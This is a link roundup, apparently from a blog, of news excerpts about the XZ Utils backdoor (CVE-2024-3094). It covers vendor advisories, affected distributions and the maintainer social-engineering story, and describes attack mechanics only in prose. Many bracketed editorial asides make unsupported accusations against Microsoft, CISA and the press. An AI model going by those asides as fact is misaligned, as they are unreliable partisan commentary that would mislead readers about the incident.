• Mar 29, 2024 Red Hat, CISA Warn of XZ Utils Backdoor By Lindsey O’Donnell-Welch

  Red Hat said on Friday released an “urgent security alert” warning users of malicious code embedded in certain versions of XZ Utils, a popular set of data compression software tools. Certain Fedora Linux distribution versions may be impacted, and Red Hat urged customers to immediately stop using Fedora Rawhide instances for work or personal activity.

• Malicious backdoor code embedded in popular Linux tool, CISA and Red Hat warn

  The issue — tagged as CVE-2024-3094 — affects XZ Utils, a tool that helps compress large file formats into smaller more manageable ones for sharing via file transfer. The tool is present in nearly every Linux distribution, according to Red Hat. The company released an advisory about the issue on Friday afternoon.

• Red Hat warns of backdoor in XZ tools used by most Linux distros

  "PLEASE IMMEDIATELY STOP USAGE OF ANY FEDORA 41 OR FEDORA RAWHIDE INSTANCES for work or personal activity," Red Hat warned on Friday.

• Beware! Backdoor found in XZ utilities used by many Linux distros (CVE-2024-3094)

  A vulnerability (CVE-2024-3094) in XZ Utils, the XZ format compression utilities included in most Linux distributions, may “enable a malicious actor to break sshd authentication and gain unauthorized access to the entire system remotely,” Red Hat warns.

Some history:

• Everything I Know About the Xz Backdoor

  A few hours after all this came out, GitHub suspended JiaT75’s account. Thanks? They also banned the repository, meaning people can no longer audit the changes made to it without resorting to mirrors. Immensely helpful, GitHub. They also suspended Lasse Collin’s account, which is completely disgraceful.

Mageia:

• About backdoor security alert for xz

  You may have been alerted by the announcement that the xz software has been modified to introduce a backdoor (CVE-2024-3094).

  This software is a file compression utility. It is widely used in Mageia, since RPM packages are compressed using this utility.

  The alert concerns versions 5.6.0 and 5.6.1 of the software. Mageia does not use and has never used these versions. Mageia users therefore have no particular action to take.

ITWire:

• Alert developer may have saved Linux users a world of pain

  Andres Freund, a Microsoft software engineer who spotted the backdoor in xz Utils, said the malicious code had been introduced in versions 5.6.0 and 5.6.1. The suspicion that it may be a state-sponsored act has arisen because the code has been spirited in over a long period.

  Freund wrote on Friday: "After observing a few odd symptoms around liblzma (part of the xz package) on Debian sid installations over the last weeks (logins with ssh taking a lot of CPU, valgrind errors) I figured out the answer: The upstream xz repository and the xz tarballs have been backdoored.

  "At first I thought this was a compromise of Debian's package, but it turns out to be upstream."

  One of the developers concerned, who had the handle JiaT75, had been a maintainer or the package for more than two years. Freund added: "Given the activity over several weeks, the committer is either directly involved or there was some quite severe compromise of their system.

Several more:

• Data Swamp ☛ Lessons learned with XZ vulnerability

  As far as we currently know, xz-5.6.0 and xz-5.6.1 contains some really obfsucated code that would trigger only in sshd, this only happen in the case of:

  • the system is running systemd

  • openssh is compiled with a patch to add a feature related to systemd

  • the system is using glibc (this is mandatory for systemd systems afaik anyway)

  • xz package was built using release tarballs published on GitHub and not auto-generated tarballs, the malicious code is missing in the git repository

• Systemd Free ☛ Should we apologize or demand an apology – This crisis is placing all of us under the test CVE-2024-3094

  Ok, no victory claimed here with the misery of others, not apologizing for xz, every distribution in the universe used it, and NOBODY KNOWS if the same or similar has happened in other FOSS or other compression algorithms, this is fresh off the press. It will take some time for dust to clear up!

• LinuxSecurity ☛ Linux Utility Backdoor Risks SSH Compromise

  A backdoor in the widely used xz compression utility has been discovered, posing a severe threat to GNU/Linux users. The issue is tracked as CVE-2024-3094 and has a maximum CVSS score of 10.

• BSD

  • NetBSD ☛ Statement on backdoor in xz library

    The version of xz shipped in pkgsrc, however, is affected. Using xz from pkgsrc is a non-default setting on NetBSD, and requires explicit opt-in. Most users of NetBSD will not install xz from pkgsrc because the version from the base system is preferred. However, users of pkgsrc on other platforms will need to take precautions.

4 more:

• OpenSSF (Linux Foundation) ☛ xz Backdoor CVE-2024-3094

  CVE-2024-3094 documents a backdoor in the xz package. This backdoor was inserted by either xz maintainer or someone who had compromised the maintainer’s machine. While the motivation behind this backdoor remains unknown, the intent was to compromise specific distributions, as the backdoors were only applied to DEB or RPM packages for the x86-64 architecture built with gcc and the gnu linker.

• MWL ☛ xz backdoor vs “$ git commit murder” sale

  I’ve gotten half a dozen messages on various forums declaring that the xz backdoor is eerily reminiscent of a major plot element of $ git commit murder.

• NetBSD ☛ Statement on backdoor in xz library

  Recently, a backdoor was discovered in the xz compression library. XZ/liblzma are included as part of NetBSD and used by the project for distribution of new releases and packages.

  The version of xz shipped in all stable (and unstable) versions of NetBSD predates any code changes by the author of the backdoor. NetBSD is therefore safe and unaffected by the recent discoveries.

• LWN ☛ A few relevant quotes

  I'm on a holiday and only happened to look at my emails and it seems to be a major mess.

5 more:

• The New Stack ? Malicious Code in Linux xz Libraries Endangers SSH [Ed: Steven J. Vaughan-Nichols makes it sound like an SSH issue rather than Microsoft, systemd, and GitHub issue]

  Most users won't be affected by this malware, but if it had gone undetected for a few more months, everyone using Linux would have faced their biggest security disaster ever.

• Notebook Check ? Backdoor injected into XZ compression tools in several Linux distributions [Ed: Well, barely a million people (in total) use those distros of touched this version]

  A critical vulnerability has been discovered in the XZ compression tools, allowing remote access via SSH remote logins. Rolling Linux distributions are particularly affected, an update is already available.

• Security Affairs ? Expert found a backdoor in XZ tools used many Linux distributions [Ed: Well, distributions that very few people use]

  Red Hat warns of a backdoor in XZ Utils data compression tools and libraries in Fedora development and experimental versions.

• xz-utils Github repository disabled as Linux maintainers assess blast radius of backdoor, earlier commits [Ed: When you let any person on GitHub change your project]

  Incident suggests a state actor exploiting overstretched maintainer of an "unpaid hobby project"

  Github has disabled the entire repository of xz-utils, a data compression utility widely used in Linux, after it was backdoored and used to sneak malicious code onto Kali Linux, Fedora 40, Debian testing and openSUSE Tumbleweed, amongst other largely beta/experimental releases.

• Hacker News ? Urgent: Secret Backdoor Found in XZ Utils Library, Impacts Major Linux Distros [Ed: No, it impacts mostly experimental and cutting-edge distros]

  Red Hat on Friday released an "urgent security alert" warning that two versions of a popular data compression library called XZ Utils (previously LZMA Utils) have been backdoored with malicious code designed to allow unauthorized remote access.

OpenMandriva:

• Discovered a backdoor in xz. Security update for OpenMandriva users

  As it might affect cooker and rolling users, please upgrade as soon as possible.

  A backdoor in liblzma, part of the xz compressor has been discovered. The exact workings of the backdoor are not yet known; it is, however, clear that it targets OpenSSH servers and hijacks their authentication.

  While the cooker and rolling branches of OpenMandriva Lx do include xz 5.6.1 and the problematic code is inside the source tarball, we currently believe that OpenMandriva is NOT vulnerable to this backdoor (the detect script provided by those who found the backdoor agrees with this assessment). This is because the backdoor relies on implementation details that seem to exist only if openssh was built with gcc (OpenMandriva builds openssh with clang).

More Updates:

• Linux XZ Utils Supply Chain Attack—What You Should Know

  Linux was hit with a serious supply chain attack involving XZ Utils, a set of tools and libraries most Linux distros use for data compression.

  Andres Freund, a Microsoft engineer, discovered the issue after noticing “logins via ssh became a lot slower,” as well as “ssh taking a lot of CPU,” and “valgrind errors.” Upon further investigation, Freund discovered that malicious code had been injected into the XZ utilities—not Debian’s package, but the upstream package used by many distros.

• Urgent High Severity Security Backdoor Found In Popular Linux Utility

  Over the past few days, the security world has been abuzz with the discovery of a backdoor snuck into a compression utility called xz-utils. While this backdoor was effectively a near miss, getting caught before it became pervasive, it goes to show that with a bit of social engineering and laying low for a while, you can get away with almost anything. Thankfully, due to one Microsoft engineer locking in on a minute detail, this crisis was mostly averted.

• Huge backdoor discovered that could compromise SSH logins on Linux

  On Friday March 29, Microsoft employee Andres Freund shared that he had found odd symptoms in the xz package on Debian installations. Freund noticed that ssh login was requiring a lot of CPU and decided to investigate leading to the discovery.

  The vulnerability has received the maximum security ratings with a CVS score of 10 and a Red Hat Product Security critical impact rating.

  Red Hat assigned the issue CVE-2024-3094 but based on the severity and a previous major bug being named Heartbleed, the community has cheekily named the vulnerability a more vulgar name and inverted the Heartbleed logo.

• An “urgent” Linux backdoor was discovered entirely by accident this week

  Red Hat urgently warned this week that recent versions of Fedora operating systems contained malicious code for backdoor access. Debian issued a similar warning.

A few more today:

• FOSS — still great

  All of proprietary software is one big scam. It’s only thanks to FOSS that we even can catch some of the other scams people are trying to pull, like the recent SSH exploit.

  Xckd 2347 is a li’l misleading because the situation is worse than that. There is not just one point of failure. There are many. A lot of stuff goes down if any one of those many long-suffering maintainers folds. That’s what it means to work on stuff together, outside of the boss system of payrolls and punch clocks. Somehow this weird li’l anthill of ten thousand straws is still standing.

• The Xz Backdoor Highlights the Vulnerability of Open Source Software—and Its Strengths

  Alex Stamos, the chief trust officer of SentinelOne and a lecturer at Stanford’s Internet Observatory called the discovery of this backdoor “the most interesting hack of the year.”

• The XZ Backdoor · benzblog

  Over the Easter weekend 2024, there was a big kerfuffle around a compression tool named xz. Honestly, the story is so amazing that it could be a gripping novel. In fact, what happened is not dissimilar to the book $ git commit murder My Michael Warren Lucas.

  A PostgreSQL developer, Andres Freund, was running some benchmarks and trying to reduce the noise from other programs on the system. While doing so, he noticed that sshd would take more CPU than expected during logins, for about 0.5 seconds at a time.

• Watching xz unfold from afar

  Early Friday morning (3/29/2024) I am checking my daily dose of Hacker News and the top article is rising fast titled - "Backdoor in upstream xz/liblzma leading to SSH server compromise" and reading the article tells a scary tale that breaks down the following:

  • Andres Freund is investigating some Postgres performance issues and notices SSH using more CPU than normal.

  •H e discovers injected code coming from a dependency known as xz / liblzma.

  • He further discovers the requirements it needs to execute and how it interacts with the RSA portion of authentication during ssh.

  • This sets off many alarms and he reaches out to the many different organizations & people to validate his findings.

  They all appear to be true and the last 48 hours have been hectic. So at first I wanted to figure out what xz even was - as I only vaguely remembered it being some compression library.

• XZ Utils backdoor

  This page is short for now but it will get updated as I learn more about the incident. Most likely it will be during the first week of April 2024.

Hackaday:

• Exploit The Stressed-out Package Maintainer, Exploit The Software Package

  A recent security vulnerability — a potential ssh backdoor via the liblzma library in the xz package — is having a lot of analysis done on how the vulnerability was introduced, and [Rob Mensching] felt that it was important to highlight what he saw as step number zero of the whole process: exploit the fact that a stressed package maintainer has burned out. Apply pressure from multiple sources while the attacker is the only one stepping forward to help, then inherit the trust built up by the original maintainer. Sadly, [Rob] sees in these interactions a microcosm of what happens far too frequently in open source.

Some Fear, Uncertainty, Doubt/Fear-mongering/Dramatisation:

• Linux could have been brought down by backdoor found in widely used utility

  The malicious code modifies functions within a data compression library that is a foundational part of several Linux distributions

• Linux xz Backdoor Damage Could Be Greater Than Feared [Ed: LF-funded FUD or Microsoft needing to distract from a very major blunder?]

  A mysterious contributor who planted the backdoor helped maintain the widely used xz compression library for the past two years. So what else was hidden in there?

  [...]

  A Microsoft engineer first detected the back door, which he traced back to a recent update to the xz compression library. The library update was a recent one, but it already found homes in the rolling and advanced “rapid” releases of some Linux distributions.

• Huge backdoor discovered that could compromise SSH logins on Linux [Ed: The Microsofters are bringing up "heartbleed" again; The Microsofters used this for a lot of FUD a decade ago]

  Updates required for Debian sid, Fedora 40, Fedora Rawhide, openSUSE Tumbleweed, and openSUSE MicroOS

• XZ Utils backdoor update: Which Linux distros are affected and what can you do? [Ed: All stable distros are not affected]

  The news that XZ Utils, a compression utility present in most Linux distributions, has been backdoored by a supposedly trusted maintainer has rattled the open-source software community on Friday, mere hours until the beginning of a long weekend for many.

• Security Alert: Backdoor Found in XZ Libraries for Linux Systems [Ed: This only impacts experimental distros with few users]

  This article addresses a critical security exploit affecting numerous Linux distributions. The vulnerability resides within the XZ libraries, commonly used for data compression. A malicious backdoor was injected into the source code, potentially granting unauthorized access to affected systems.

• Are You Affected by the Backdoor in XZ Utils? [Ed: Almost nobody is affected]

  In this Tech Tip, we outline how to check whether a system is impacted by the newly discovered backdoor in the open source xz compression utility.

• Urgent High Severity Security Backdoor Found In Popular Linux Utility [Ed: Urgent only if you use an experimental distro]

  On March 29th, Microsoft engineer Andres Freund posted that he was doing some micro-benchmarking on his systems. In this testing, he noticed that the sshd process was using a lot of compute resources and that logins via SSH, a command line remote access protocol, took about .5s more time than before. Upon this discovery, he dug deeper to find that most of the compute time was spent on something called "liblzma," which is a part of the xz-utils package. This began a thread-pull, unraveling a highly obfuscated backdoor in xz-utils, put in place by an unknown threat actor named “Jia Tan.”

Many comments here:

• xz: Upstream Repository and the xz Tarballs Have Been Backdoored [Ed: Very few people affected]

  We have reports and evidence of the injections successfully building in xz 5.6.x versions built for Debian unstable (Sid).

3 more:

• The xz backdoor [Ed: The impacts very few users]

  I haven’t seen this many spooked infosec engineers since Spectre. I was on leave when the news broke, but many of the same lessons the industry didn’t take to heart during the OpenSSL debacle have resurfaced. Namely, the security risks posed by:

  • Small, overworked, underpaid, underappreciated teams of developers who wield a disproportionate influence on the security of the entire industry (whether by their choice or otherwise).

• research!rsc: Timeline of the xz open source attack [Ed: This is about social engineering, enabled by Microsoft's GitHub (proprietary)]

  Over a period of over two years, an attacker using the name “Jia Tan” worked as a diligent, effective contributor to the xz compression library, eventually being granted commit access and maintainership. Using that access, they installed a very subtle, carefully hidden backdoor into liblzma, a part of xz that also happens to be a dependency of OpenSSH sshd on Debian, Ubuntu, Fedora, and other systemd-based Linux systems. That backdoor watches for the attacker sending hidden commands at the start of an SSH session, giving the attacker the ability to run an arbitrary command on the target system without logging in: unauthenticated, targeted remote code execution.

  The attack was publicly disclosed on March 29, 2024 and appears to be the first serious known supply chain attack on widely used open source software. It marks a watershed moment in open source supply chain security, for better or worse.

  This post is a detailed timeline that I have constructed of the social engineering aspect of the attack, which appears to date back to late 2021. Key events have bold times.

• How Xz Became The New Heartbleed [Ed: Stop calling this "heartbleed"; The so-called 'heartbleed' thing was also connected to Microsoft staff seeding panic in the media.]

  A rolling-release variant of Linux, Tumbleweed is a good distro, one that takes security very seriously while putting you up against the edge of what’s possible (and not feeling a little rough around the edges, like Arch can sometimes feel). But like many other distros, its makers found themselves freaking out over the weekend after it was realized that someone had dropped a backdoor into the latest version of xz Utils, an extremely common compression program. The backdoor added a payload into the SSH protocol that could have been broadly exploited. (For those with technical knowledge who want to see how it works, check it out here.)

More Coverage:

• The interpersonal side of the xz-utils compromise

  While everyone is busy analyzing the highly complex technical details of the recently discovered xz-utils compromise that is currently rocking the internet, it is worth looking at the underlying non-technical problems that make such a compromise possible. A very good write-up can be found on the blog of Rob Mensching...

• A Microcosm of the interactions in Open Source projects

  Originally a thread on Twitter about the xz/liblzma vulnerability, when I finished typing it, I realized I had a real world slice of Open Source interaction that deserved more attention.

Debian:

• Debian openssh option review: considering splitting out GSS-API key exchange

  Thanks Colin for considering how to reduce dependency chains for sshd.
  I just remembered that this is not the first time that sshd has been
  attacked via a transitive library dependency - it has happened before,
  about 10 years ago:
  
  
  https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/
  
  
  Attacks like these are impossible for sshd to defend against itself.
  Instead we have to look to minimising the number of libraries that end
  up in sshd's address space, especially that of the privileged sshd
  process.
  
  
  We are currently exploring splitting sshd into separate binaries for
  the listener, privileged monitor, pre- and post-auth network-facing
  processes so that each can be reduced in size and functionality to
  the minimum possible. This should remove a number of dependencies from
  the privileged process. There's a draft of these changes at
  https://github.com/djmdjm/openssh-wip/pull/26 but it's OpenBSD-only
  at this stage. We're likely to proceed with splitting the listener
  process from the rest of sshd hopefully before the next release.
  
  
  Another thing we're considering in OpenSSH is changing how we integrate
  with PAM. PAM's API demands loading modules into the authenticating
  process' address space, but obviously we've just been reminded that this
  is risky.
  
  
  I think that I would prefer to move to a model where there PAM auth and
  account modules run in a helper process, and only the session module
  runs in the unprivileged post-auth sshd process.
  
  
  This means that PAM auth/account modules and their transitive library
  dependencies cannot affect the sshd address space. They would still
  likely need to run with privilege, could still fail permissively in
  unwanted situations and might still be able to cause problems directly
  (e.g. opening a reverse shell from the PAM module itself), but they
  would no longer have direct access to the contents of sshd network
  traffic, signatures, etc that are extremely useful in building NOBUS
  (https://en.wikipedia.org/wiki/NOBUS) backdoors like the xv one.
  
  
  Where this gets challenging is that some PAM modules make assumptions
  that the auth, account and session modules all run in the same address
  space. These would break until re-architected to pass things explicitly,
  e.g. via environment variables, temp files, etc.
  
  
  Time permitting, I'll get a prototype of these changes made for wider
  experimentation.
  

Belated Coverage:

• Vulnerability Discovered in xz Libraries

  On March 28, the Fedora community received word about CVE-2024-3094, which impacted any instance of Fedora 40 that used repositories outside of the stable branch.

  The vulnerability is found in the upstream tarballs of the xz application, which is a compression tool that has been around for a long time.

  CVE-2024-3094 is marked as critical with a score of 10, which means it is of the highest severity and should be taken seriously.

  The issue affects versions 5.6.0 and 5.6.1 of the xz libraries and is only found in the tarball download package (and not the Git distribution, which lacks the M4 macro trigger).

• Microsoft releases detailed FAQs about XZ Utils vulnerability in Linux systems

  Microsoft has published detailed FAQs and guidance regarding a critical vulnerability found within XZ Utils. The vulnerability, which has the identifier CVE-2024-3094, has a critical severity rating and was discovered due to a software supply chain compromise. The XZ Utils tool is essentially used for data compression across various Linux distributions and is important for managing software packages, kernel images, and more.

  Microsoft's response includes key recommendations for users that are affected by this vulnerability. The company advises to downgrade to a secure version of XZ Utils as well as utilize Microsoft Defender Vulnerability Management and Defender for Cloud.

• XZ backdoor discovery reveals Linux supply chain attack

  A backdoor was discovered in a widely used compression library for Linux distributions that could give unauthorized users access to infected systems.

  On March 29 Andres Freund, a PostgreSQL developer at Microsoft, revealed he had discovered a backdoor hidden in the open source liblzma package for XZ, a popular compression library used in many Linux distributions. In a disclosure on the Open Source Security Mailing List, Freund wrote that he observed odd behavior in liblzma running on Debian in recent weeks, such as slow logins via SSH and surprisingly high CPU usage for SSHD processes. After further investigation, he concluded that the upstream XZ repository was compromised in a supply chain attack.

• What we know about the xz Utils backdoor that almost infected the world

  On Friday, a lone Microsoft developer rocked the world when he revealed a backdoor had been intentionally planted in xz Utils, an open source data compression utility available on almost all installations of Linux and other Unix-like operating systems. The person or people behind this project likely spent years on it. They were likely very close to seeing the backdoor update merged into Debian and Red Hat, the two biggest distributions of Linux, when an eagle-eyed software developer spotted something fishy.

• Curious engineer catches backdoor in Linux compression package

  A curious Microsoft engineer has turned up a backdoor in the nearly-ubiquitous open source XZ Utils package that’s set Linux maintainers into a patching frenzy.

  Andres Freund, who describes himself on LinkedIn as a “PostgreSQL developer and committer”, investigated an approximately 500ms performance issue with the liblzma library.

  His investigation, outlined in a post to Openwall, led him to discover the backdoor, which is deployed by an obfuscated script in the build chain.

More Talk About It:

• Backdoor found in xz package source

  Alpine was notified of a possible backdoor in XZ Utils, the source project of our xz package. This backdoor is known to be present in the source code for the 5.6.0 and 5.6.1 releases using modified build scripts that are not present in the git repository. Packages built against the 5.6.1 source code are present in edge, but not in any of the stable releases.

  We presently believe Alpine was not affected in practice. The backdoor targeted sshd binaries linked with libsystemd and glibc, which is not the case in Alpine’s openssh-server package.

• The XZ Utils backdoor is a symptom of a larger problem

  As a community of hackers, we have built an exhaustive commons of free software released under various free licenses such as the GPL and the Apache 2.0 license. Software packages in this commons have taken over the corporate world, because it enabled more rapid innovation by allowing developers to focus more on the business logic of their applications, rather than low-level details. This has been overall a good thing for society: from the open commons we have spawned a whole world of applications which have become the foundational bedrock of modern society. It can certainly be argued that the invention of FOSS licensing models has been as revolutionary for the digital economy as the steam engine was for industry.

• Latest CachyOS Release Fixes Crucial XZ CVE, Transitions Back to X11

  CachyOS is an Arch-based rolling Linux distro that aims to provide users with improved performance while being simple. Betting on the XFS file system by default, it comes with an easy-to-use GUI installer (Calamares), making it an attractive choice for new users to the Arch ecosystem.

  In the latest development from the CachyOS project, the team announced their April 2024 release, marking the fourth major update of the year. This release introduces crucial security fixes alongside a suite of new features to improve the overall user experience for its dedicated community of users.

One more:

• Malicious xz backdoor reveals fragility of open source • The Register

Coverage in podcast:

• XZ Bonus Spectacular Episode - Open Source Security

  Josh and Kurt talk about the recent events around XZ. It’s only been a few days, and it’s amazing what we already know. We explain a lot of the basics we currently know with the attitude much of these details will change quickly over the coming week. We can’t fix this problem as it stands, we don’t know where to start yet. But that’s not a reason to lose hope. We can fix this if we want to, but it won’t be flashy, it’ll be hard work.

Analysis:

• XZ Backdoor: Times, damned times, and scams

  There has been a recent backdoor found in the xz/liblzma tarball. In what is likely one of the largest breaches of trust in the free software ecosystem, this backdoor is likely to have been put in by Jia Tan, a long-time maintainer of xz. Throughout his tenure as a maintainer, Jia remained relatively mysterious — as is not uncommon in the community, little beyond his name (which is likely a lie) is known about him. Generally, anonymity in the free software sphere is a good thing: software is inherently based on accomplishment and merit, and there is no reason to know anything about a person’s identity. However, in this case, where someone built up the trust of a community for years and then abused it, it is interesting to see who they are. Luckily for us, Jia’s activity does provide some metadata which we can potentially use to learn more about him. So here’s an analysis on what we can learn from his work patterns and time zone.

Microsofters:

• The amazingly scary xz sshd backdoor, (Mon, Apr 1st)

  The author(s) of the backdoor went a long way to make the backdoor look as innocent as possible. This is also why all the reversing effort is taking such a long(er) time.

Podcasts and such:

• The xz-utils backdoor in security advisories by national CSIRTs, (Mon, Apr 1st)

• The xz Backdoor Exposed 🚨 | LINUX Unplugged 556

One more:

• Supply Chain Attack: Major GNU/Linux Distributions Impacted by XZ Utils Backdoor

  Urgent security alerts issued as malicious code was found embedded in the XZ Utils data compression library used in many GNU/Linux distributions.

Lots more, Microsoft also:

• Curious engineer catches backdoor in Linux compression package [Ed: No, Microsoft employee, just a day after Microsoft came under severe fire for its poor security practices]

• Software Engineer Stops Attempt to Add Backdoor to Linux Operating Systems [Ed: Even Microsoft's own site is quick to smear "Linux", citing "Software Engineer" without noting he works for Microsoft]

• Software Engineer Stops Attempt to Add Backdoor to Linux Operating Systems [Ed: Microsoft employee stops the media calling out Microsoft on actual bug doors in Exchange etc.]

• Linux XZ Utils Supply Chain Attack—What You Should Know

• Dangerous backdoor discovered in XZ packages for Linux [Ed: That almost no distro actually used]

• Cyber Security Today, April 1, 2024 – An alert about a critical Linux vulnerability, a warning about password-spray attacks on Cisco VPNs, and more [Ed: XZ is not Linux]

• Dev uncovers doomsday-level Linux backdoor [Ed: That almost no GNU/Linux users actually used]

• Malicious backdoor infiltrates widespread Linux package. [Ed: A widespread package but not this version of it; some OpenSSL flaws got caught after releases that distros were still reluctant to adopt and did not adopt within days or a week]

• Supply Chain Attack: Major Linux Distributions Impacted by XZ Utils Backdoor [Ed: No, none of the major one is impacted]

• Backdoor Found and Defused in Widely Used Linux Utility XZ

• XZ backdoor discovery reveals Linux supply chain attack [Ed: Shows downsides of Microsoft systemd, GitHub, and projects with only one active maintainer]

• ‘Nightmare Scenario:’ Linux Supply Chain Hack Was An Inside Job [Ed: Social engineering rather than mere "supply chain" (GitHub, account at Microsoft)]

• CISA sounds alarm on deep-seated vulnerability in Linux tool [Ed: CISA is occupied by Microsofters]

• Cyber Security Headlines: AT &T data leak, Linux backdoor discovery, DHS phone data policy [Ed: xz is not Linux]

5 More Today:

• Bibliography LIVE about the xz/lzma backdoor compromised to sshd through systemd | systemd-free linux community

  Bibliography of this mini-tragedy for systemd and the “provocative” vindication of zstd (which usually is compiled using lib-lzma).

• Xz Utils Backdoor

  It was an incredibly complex backdoor. Installing it was a multi-year process that seems to have involved social engineering the lone unpaid engineer in charge of the utility. [...]

• The xz-utils backdoor in security advisories by national CSIRTs

  At this point, it should be stressed that not all the identified national or governmental CSIRTs (or other relevant organizations) provide a public “advisory service” to their constituencies, so the numbers mentioned above don’t tell the whole story. Additionally, even for CSIRTs/organizations that do provide such a service, a lack of warning about this specific issue is not necessarily an indication that the service doesn’t function efficiently and effectively – every team has its own standards and processes which one can hardly judge from the outside perspective… In short, this article is not intended as a criticism of any of the CSIRTs which did not publish an advisory corresponding to the aforementioned backdoor.

• XZ Utils Backdoor (CVE-2024-3094) Leads To SSH Compromise

  The vulnerability perturbs the Linux community, posing a substantial risk to systems relying on XZ Utils for data compression. The code embedded within versions 5.6.0 and 5.6.1 of XZ Utils subtly alters the liblzma library, a core component for data compression.

• The XZ Backdoor: Everything You Need to Know

  On Friday, a lone Microsoft developer rocked the world when he revealed a backdoor had been intentionally planted in XZ Utils, an open source data compression utility available on almost all installations of Linux and other Unix-like operating systems. The person or people behind this project likely spent years on it. They were likely very close to seeing the backdoor update merged into Debian and Red Hat, the two biggest distributions of Linux, when an eagle-eyed software developer spotted something fishy.

  “This might be the best-executed supply chain attack we've seen described in the open, and it’s a nightmare scenario: malicious, competent, authorized upstream in a widely used library,” software and cryptography engineer Filippo Valsorda said of the effort, which came frightfully close to succeeding.

  Researchers have spent the weekend gathering clues. Here’s what we know so far.

The holiday is over and moved on:

• Malicious Code in XZ Utils for Linux Systems Enables Remote Code Execution

  The malicious code inserted into the open-source library XZ Utils, a widely used package present in major Linux distributions, is also capable of facilitating remote code execution, a new analysis has revealed.

  The audacious supply chain compromise, tracked as CVE-2024-3094 (CVSS score: 10.0), came to light last week when Microsoft engineer and PostgreSQL developer Andres Freund alerted to the presence of a backdoor in the data compression utility that gives remote attackers a way to sidestep secure shell authentication and gain complete access to an affected system.

  "I was doing some micro-benchmarking at the time, needed to quiesce the system to reduce noise," Freund said in a post shared on Mastodon. "Saw sshd processes were using a surprising amount of CPU, despite immediately failing because of wrong usernames etc."

• Microsoft discovers XZ Utils backdoor vulnerability in Linux distros, issues guidance

  A few days ago, we learned that the Python Package Index (PyPI) has temporarily restricted the creation of new accounts and package submissions to its portal following the emergence of a malware campaign through which attackers were uploading malicious packages to the directory in a coordinated manner. Now, Microsoft has detailed a new vulnerability in Linux distributions after it was discovered recently by a company employee.

• Some Relief For Linux Admins Living In Terror Of The XZ Backdoor

  Thanks to a curious and technically skilled engineer by the name of Andres Freud, Linux admins are living in a bit of a nightmare world. He discovered a backdoor in the XZ Utils package which contains a number of tools and libraries at the heart of many Linux distros. In general the solution has been to remain on the previous version of XZ Utils as the 5.4.6 Stable version does not have this flaw. However those that did upgrade to XZ version 5.6.0 or 5.6.1 have needed to do a hands on search through vbyte strings, file hashes and other techniques to detect what is vulnerable on their systems.

  Enter Binarly, who have designed a tool which will automatically detect the XZ backdoor which will analyze your binaries to identify tampering of transitions in GNU Indirect Functions. This should not only reduce the amount of time you spend searching your systems for vulnerabilities but will be more accurate than a manual process. It also scans beyond just XZ Utils, to detect if you have already been penetrated and attackers have already turned some of your other utilities into backdoors.

• xz-utils Backdoor Found in Kali Linux Installations – Check for Malware Infection

  A backdoor was recently discovered in the xz-utils package versions 5.6.0 to 5.6.1, shocking the Linux community. This poses a significant threat to the security of Linux distributions, including Kali Linux.

  The vulnerability, CVE-2024-3094, could potentially allow malicious actors to compromise sshd authentication, granting unauthorized access to systems remotely.

  The xz-utils package is a widely used library in the Linux ecosystem for data compression, making the severity of this vulnerability particularly alarming.

• TechScape: How one man stopped a potentially massive cyber-attack – by accident

  How was your Easter bank holiday? Did you use it well by, for instance, preventing a globally destructive cyber-attack? No? Try harder, then.

  This weekend, a cautious, longstanding and very nearly successful attempt to insert a backdoor into a widely used piece of open-source software was thwarted – effectively by accident. From Dan Goodin at Ars Technica...

• xz-utils Backdoor Affects Kali Linux Installations – How to Check for Infection

  A critical vulnerability has been identified in the xz-utils package, versions 5.6.0 to 5.6.1, which harbors a backdoor capable of compromising system security.

  This vulnerability, cataloged under CVE-2024-3094, poses a significant threat to the Linux ecosystem, including the widely used Kali Linux distribution, known for its robust security and penetration testing tools suite.

• The XZ Utils Backdoor in Linux: How it Happened

  It's not limited to Linux, or limited to open-source, cybersecurity attacks exist in every corner of the software industry. And, every day, there's someone new who sets out to target the software supply chain with their attacks.

  However, when something affects Linux, or an open-source library in it, the cyberattack leaves ripple effects that can shake up the entire world.

• Trusted Contributor Plants Sophisticated Backdoor in Critical Open-Source Library

  A Microsoft developer has found a backdoor in a software package of a compression library widely used in Linux systems that could have resulted in a massive software supply chain attack.

  The author of the backdoor was a maintainer of the open source library and had spent years developing the software compromise.

Microsoft spin, really bad:

• Microsoft employee accidentally saves global GNU/Linux meltdown from CVE-2024-3094 XZ backdoor [Ed: Grotesque spin from a Microsoft-connected site; he mostly saved Microsoft from bad publicity by shifting attention]

Another One From Linuxiac Today:

• After a Recent SSH Vulnerability, Systemd Reduces Dependencies

  In light of recent events, a significant debate has emerged about the vulnerabilities in which systemd is indirectly involved, especially during the sshd/xz backdoor incident (CVE-2024-3094), highlighted the potential security risks associated with the dependencies of libsystemd, a library crucial for integrating services with systemd.

  The crux of the issue lies in the observation that libsystemd, by being linked to all systemd services and any third-party services wishing to communicate with systemd, introduces

On "trusting trust" :

• reflections on distrusting xz

  Was the ssh backdoor the only goal that "Jia Tan" was pursuing with their multi-year operation against xz?

  I doubt it, and if not, then every fix so far has been incomplete, because everything is still running code written by that entity.

  If we assume that they had a multilayered plan, that their every action was calculated and malicious, then we have to think about the full threat surface of using xz. This quickly gets into nightmare scenarios of the "trusting trust" variety.

  What if xz contains a hidden buffer overflow or other vulnerability, that can be exploited by the xz file it's decompressing? This would let the attacker target other packages, as needed.

  Let's say they want to target gcc. Well, gcc contains a lot of documentation, which includes png images. So they spend a while getting accepted as a documentation contributor on that project, and get added to it a png file that is specially constructed, it has additional binary data appended that exploits the buffer overflow. And instructs xz to modify the source code that comes later when decompressing gcc.tar.xz.

The FUD continues:

• Supply chain attack targets major Linux distributions with backdoored XZ Utils library

• Microsoft Engineer Foils Major Linux Backdoor Plot [Ed: No, he mostly helped distract from Microsoft's failures [1, 2, 3]

• XZ Utils Backdoor Discovered, Threating Linux Servers

• XZ Utils: How a Major Cybersecurity Disaster Was Narrowly Avoided

• How one volunteer stopped a backdoor from exposing Linux systems worldwide [Ed: It is not a volunteer, it is a Microsoft employee who in this case helped Microsoft distract from its own blunders]

• New XZ backdoor scanner detects implant in any Linux binary

A couple more:

• The Mystery of ‘Jia Tan,’ the XZ Backdoor Mastermind

